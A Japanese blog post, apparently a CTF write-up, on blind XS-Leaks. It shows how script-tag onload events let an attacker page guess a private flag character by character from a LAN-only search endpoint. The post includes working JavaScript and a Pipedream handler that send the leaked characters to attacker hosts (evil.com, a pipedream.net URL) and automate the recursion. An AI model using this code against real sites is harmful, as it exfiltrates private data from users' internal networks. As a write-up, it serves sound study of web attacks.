Blind XS-LeaksとSOP回避の話
Blind XS-LeaksとSOP回避の話
勝手にBlindと呼んでるだけ。結構面白かったので紹介。
XS-Leaks
まずはXS-Leaksに軽く触れておく。
XS-Leaksの問題にありがちな機能として挙げられるのは以下。
- コンテンツの公開・非公開設定
- コンテンツの検索機能
- 検索結果が0件の場合は
404 Not Found
が返る - LAN内からの検索には非公開コンテンツもひっかかる
- 検索結果が0件の場合は
- URLの報告機能
細かい挙動は違くても、上記のような機能がある場合はXS-Leaksができる可能性がある。
攻略方針は以下のような感じ。(flagのフォーマットはflag{...}
と判明しているものとする)
http://victim.com/search?q=flag{a
を報告 ->404 Not Found
http://victim.com/search?q=flag{b
を報告 ->404 Not Found
http://victim.com/search?q=flag{c
を報告 ->404 Not Found
http://victim.com/search?q=flag{d
を報告 ->404 Not Found
:
http://victim.com/search?q=flag{t
を報告 ->200 OK
flag{t
までが確定する。
同様にflag{ta
,flag{tb
,flag{tc
... を報告していき、一文字ずつ特定していく
Blind XS-Leaks
今回考えていく問題の機能は以下。
- コンテンツの公開・非公開設定
- コンテンツの検索機能
- 検索結果が0件の場合は
404 Not Found
が返る - LAN内からの検索には非公開コンテンツもひっかかる
- 検索結果が0件の場合は
- URLの報告機能
- 報告したURLに問題サーバと同一LAN内のbotがアクセスしてくれる
「アクセスの結果次第でレスポンスが変わる」という項目がなくなった。
flag{a
を報告してもflag{t
を報告しても、そのレスポンスに差異がなくなるため、先ほどの攻略方針は使えない。
しばらく考えて思いついたのは、「罠サイトにアクセスさせてfetch
等でリクエストを送信しまくってそのステータスコードでif
文を書く」という方針だった。
とりあえずresponseを出力するコードを書いてみた。
<script> var flag='flag{'; fetch('http://127.0.0.1:1337/api/entries/search?q='+flag, { mode: 'no-cors' }) .then((response) => { console.log(response); }); </script>
Chromeで開くとCORSエラーになるため、Firefoxでやっていく。
Access to fetch at 'http://127.0.0.1:1337/api/entries/search?q=flag{' from origin 'http://[evil.com]' has been blocked by CORS policy: The request client is not a secure context and the resource is in more-private address space
local
.
ネットワークタブを開いたら、きちんと200 OK
が返ってきていた。
しかし、コンソールタブを開いたところ、responseからはステータスコードなどは取れそうになかった。
原因はSOPぽい。
異なるオリジンへのfetchをした際は、レスポンスの内容を読み込むことができない。
SOP回避
SOPの影響でfetch
では無理そうだったので、どうにかしてSOPを回避しながらクロスオリジンなリソースを読み込み、ステータスコードで条件分岐したい。
使えたのはHTMLのonload
だった。
<script> var flag='flag{'; var abc = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'; for (var i=0; i < abc.length; i++){ const char = abc[i] const script = document.createElement("script"); script.src = 'http://127.0.0.1:1337/api/entries/search?q=' + flag + char; script.onload = () => fetch('http://[evil.com]/?flag=' + flag + char); document.head.appendChild(script); } </script>
script
タグのsrc
を検索リクエストにし、ステータスコードが200 OK
だった場合のみ動くonload
でevil.com
にflagを報告する。
よ~~くみると、<script> のソース “http://127.0.0.1:1337/api/entries/search?q=flag{t" の読み込みに失敗しました。
のエラーがないのがわかる。
読み込みに成功したため、onload
のfetch
が実行され、flag{t
がアクセス履歴に残る。
これを何回も繰り返していけばflagが出る。が、面倒なので自動化する。
自動化
onload
をfetch
ではなくwindow.location
などを上書きして画面遷移にし、
?flag=flag{t
でアクセスしてきた際にスクリプトの一行目をvar flag='flag{t';
にするようなコードを書く。
RequestBinを使って、nodeで書いていく。
steps.trigger.event.query.flag
でクエリパラメータのflagをとれるので、それでよしなに。
無限ループで無限に遷移してしまうのを防ぐためにエラーハンドリングも書いた。
(今回のapiはDBのLIKE句で判定しているのでflag{_
でも200 OK
になってしまう。_
の扱いが非常に面倒だった)
export default defineComponent({ async run({ steps, $ }) { let flag = ''; if (steps.trigger.event.query) { flag = steps.trigger.event.query.flag; } let response = `<script> var flag='${flag}'; var abc = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!'; var cnt = 0 function err(char) { cnt++ if (cnt == abc.length && flag[flag.length-1] !== '}') { window.location = 'http://eor9sxmvpxnktqb.m.pipedream.net?flag=' + flag + '_'; } } for (var i=0; i < abc.length; i++){ const char = abc[i]; const script = document.createElement("script"); script.src = 'http://127.0.0.1:1337/api/entries/search?q=' + flag + char; script.onload = () => window.location = 'http://eor9sxmvpxnktqb.m.pipedream.net?flag=' + flag + char; script.onerror = () => err(char); document.head.appendChild(script); } </script>`; await $.respond({ status: 200, headers: {}, body: response, }) }, })
これをデプロイしてhttp://[evil.com]/?flag=
を報告すると、再帰的に読み込んでいってflagを一度で特定できる。
デモ
RequestBin使って楽々XS-Leaks pic.twitter.com/UOyLK2jxa6
— よーでん (@y0d3n) 2022年3月8日